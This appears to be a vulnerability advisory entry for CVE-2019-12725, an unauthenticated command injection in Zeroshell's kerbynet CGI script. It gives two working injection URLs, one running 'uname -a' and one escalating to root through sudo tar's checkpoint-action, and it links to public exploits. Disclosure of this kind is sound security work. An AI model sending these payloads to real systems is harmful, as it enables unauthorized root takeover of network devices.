OS Command Injection in Zeroshell - CVE-2019-12725

Vulnerability details

The vulnerability allows a remote attacker to execute arbitrary shell commands on the target system.

The vulnerability exists due to the some parameters inside a script are used without a properly sanitization. A remote unauthenticated attacker can inject OS commands inside the vulnerable parameters and execute arbitrary OS commands on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509view&User=Admin&x509type='%0Auname -a%0A'
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=id%0A'

Affected software

How to mitigate CVE-2019-12725

Links to Public Exploits and PoC-codes

• Exploit #6781 - PocList (漏洞POC、EXP合集，持续更新。Apache Druid-任意文件读取（CVE-2021-36749）、ConfluenceRCE（CVE-2021-26084）、ZeroShell防火墙RCE（CVE-2019-12725）、ApacheSolr任意文件读取、蓝凌OA任意文件读取、phpStudyRCE、ShowDoc任意文件上传、原创先锋后台未授权、Kyan账号密码泄露、TerraMasterTos任意文件读取、TamronOS-IPTV系统RCE、Wayos防火墙账号密码泄露) (September 22, 2021)
• Exploit #5642 - ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit) (June 17, 2021)
• Exploit #5460 - ZeroShell 3.9.0 - Remote Command Execution (May 20, 2021)

External References

• https://www.tarlogic.com/advisories/zeroshell-rce-root.txt

Related Security Bulletins

• OS Command Injection in ZeroShell Zeroshell